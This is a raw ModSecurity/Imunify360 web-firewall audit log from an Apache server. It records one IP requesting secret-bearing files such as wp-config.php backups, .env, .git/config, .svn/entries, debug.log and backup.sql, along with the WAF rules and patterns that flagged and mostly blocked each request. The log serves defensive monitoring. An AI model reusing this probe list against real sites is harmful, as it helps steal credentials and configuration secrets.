Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqYgHWM7dE9KgIIOpQhgkQAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqYgHWM7dE9KgIIOpQhgkQAAAMA"]
Action: Intercepted (phase 2)
Stopwatch: 1789272093622370 59394 (- - -)
Stopwatch2: 1789272093622370 59394; combined=57535, p1=503, p2=56566, p3=0, p4=0, p5=465, sr=258, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--335ff058-Z--
--da517126-A--
[13/Sep/2026:07:01:35.252178 +0300] aqYgHysVWymXUono-eRRCgAAABc 169.40.142.172 54514 127.0.0.1 7081
--da517126-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--da517126-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--da517126-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqYgHysVWymXUono-eRRCgAAABc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqYgHysVWymXUono-eRRCgAAABc"]
Action: Intercepted (phase 2)
Stopwatch: 1789272095196085 56144 (- - -)
Stopwatch2: 1789272095196085 56144; combined=53932, p1=365, p2=53135, p3=0, p4=0, p5=432, sr=148, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--da517126-Z--
--a2ada64b-A--
[13/Sep/2026:07:01:36.113448 +0300] aqYgICsVWymXUono-eRRCwAAABg 169.40.142.172 58940 127.0.0.1 7081
--a2ada64b-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--a2ada64b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a2ada64b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgICsVWymXUono-eRRCwAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgICsVWymXUono-eRRCwAAABg"]
Action: Intercepted (phase 2)
Stopwatch: 1789272096057766 55727 (- - -)
Stopwatch2: 1789272096057766 55727; combined=54564, p1=218, p2=54029, p3=0, p4=0, p5=316, sr=95, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a2ada64b-Z--
--2356e365-A--
[13/Sep/2026:07:01:36.944199 +0300] aqYgICsVWymXUono-eRRDAAAABY 169.40.142.172 58948 127.0.0.1 7081
--2356e365-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--2356e365-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--2356e365-E--
--2356e365-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqYgICsVWymXUono-eRRDAAAABY"]
Stopwatch: 1789272096937074 7225 (- - -)
Stopwatch2: 1789272096937074 7225; combined=5499, p1=323, p2=4972, p3=95, p4=9, p5=99, sr=140, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2356e365-Z--
--6ea2af45-A--
[13/Sep/2026:07:01:41.382312 +0300] aqYgJWM7dE9KgIIOpQhgkwAAAMg 169.40.142.172 58990 127.0.0.1 7081
--6ea2af45-B--
GET /.env.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--6ea2af45-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6ea2af45-E--
--6ea2af45-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.env.swp"] [unique_id "aqYgJWM7dE9KgIIOpQhgkwAAAMg"]
Stopwatch: 1789272101372426 9988 (- - -)
Stopwatch2: 1789272101372426 9988; combined=7670, p1=592, p2=6885, p3=114, p4=12, p5=66, sr=227, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6ea2af45-Z--
--18b76b25-A--
[13/Sep/2026:07:01:44.483488 +0300] aqYgKCsVWymXUono-eRREAAAAAQ 169.40.142.172 59016 127.0.0.1 7081
--18b76b25-B--
GET /.git/config HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--18b76b25-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--18b76b25-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYgKCsVWymXUono-eRREAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYgKCsVWymXUono-eRREAAAAAQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272104420250 63344 (- - -)
Stopwatch2: 1789272104420250 63344; combined=60024, p1=266, p2=59249, p3=0, p4=0, p5=509, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--18b76b25-Z--
--73e3ee37-A--
[13/Sep/2026:07:01:45.599453 +0300] aqYgKSsVWymXUono-eRREQAAAAY 169.40.142.172 42562 127.0.0.1 7081
--73e3ee37-B--
GET /.git/HEAD HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--73e3ee37-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--73e3ee37-E--
--73e3ee37-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/HEAD"] [unique_id "aqYgKSsVWymXUono-eRREQAAAAY"]
Stopwatch: 1789272105591452 8107 (- - -)
Stopwatch2: 1789272105591452 8107; combined=6506, p1=533, p2=5819, p3=83, p4=9, p5=61, sr=273, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--73e3ee37-Z--
--c99e617e-A--
[13/Sep/2026:07:01:47.450869 +0300] aqYgK2M7dE9KgIIOpQhglwAAANI 169.40.142.172 42586 127.0.0.1 7081
--c99e617e-B--
GET /.git/index HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--c99e617e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c99e617e-E--
--c99e617e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/index"] [unique_id "aqYgK2M7dE9KgIIOpQhglwAAANI"]
Stopwatch: 1789272107445329 5599 (- - -)
Stopwatch2: 1789272107445329 5599; combined=4482, p1=300, p2=4037, p3=64, p4=40, p5=41, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c99e617e-Z--
--e77b2c6d-A--
[13/Sep/2026:07:01:47.961158 +0300] aqYgKzTJ6xTvcJoem7f2MwAAAFE 169.40.142.172 42592 127.0.0.1 7081
--e77b2c6d-B--
GET /.svn/entries HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--e77b2c6d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e77b2c6d-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.svn/entries"] [unique_id "aqYgKzTJ6xTvcJoem7f2MwAAAFE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.svn/entries"] [unique_id "aqYgKzTJ6xTvcJoem7f2MwAAAFE"]
Action: Intercepted (phase 2)
Stopwatch: 1789272107907297 53901 (- - -)
Stopwatch2: 1789272107907297 53901; combined=52440, p1=262, p2=51917, p3=0, p4=0, p5=261, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e77b2c6d-Z--
--2573e45d-A--
[13/Sep/2026:07:01:48.285768 +0300] aqYgLGM7dE9KgIIOpQhgmAAAANY 169.40.142.172 42606 127.0.0.1 7081
--2573e45d-B--
GET /.hg/store/00manifest.i HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--2573e45d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2573e45d-H--
Message: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqYgLGM7dE9KgIIOpQhgmAAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqYgLGM7dE9KgIIOpQhgmAAAANY"]
Action: Intercepted (phase 2)
Stopwatch: 1789272108230455 55370 (- - -)
Stopwatch2: 1789272108230455 55370; combined=53757, p1=410, p2=53030, p3=0, p4=0, p5=316, sr=207, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2573e45d-Z--
--a1ce0827-A--
[13/Sep/2026:07:01:55.068316 +0300] aqYgM0wu1RSkptiiNIXvIAAAAJg 169.40.142.172 42638 127.0.0.1 7081
--a1ce0827-B--
GET /wp-content/debug.log HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--a1ce0827-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a1ce0827-H--
Message: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqYgM0wu1RSkptiiNIXvIAAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqYgM0wu1RSkptiiNIXvIAAAAJg"]
Action: Intercepted (phase 2)
Stopwatch: 1789272115011593 56777 (- - -)
Stopwatch2: 1789272115011593 56777; combined=55484, p1=227, p2=54962, p3=0, p4=0, p5=295, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a1ce0827-Z--
--028e9c6f-A--
[13/Sep/2026:07:02:10.173635 +0300] aqYgQmM7dE9KgIIOpQhgnwAAANA 169.40.142.172 36534 127.0.0.1 7081
--028e9c6f-B--
GET /backup.sql HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--028e9c6f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--028e9c6f-H--
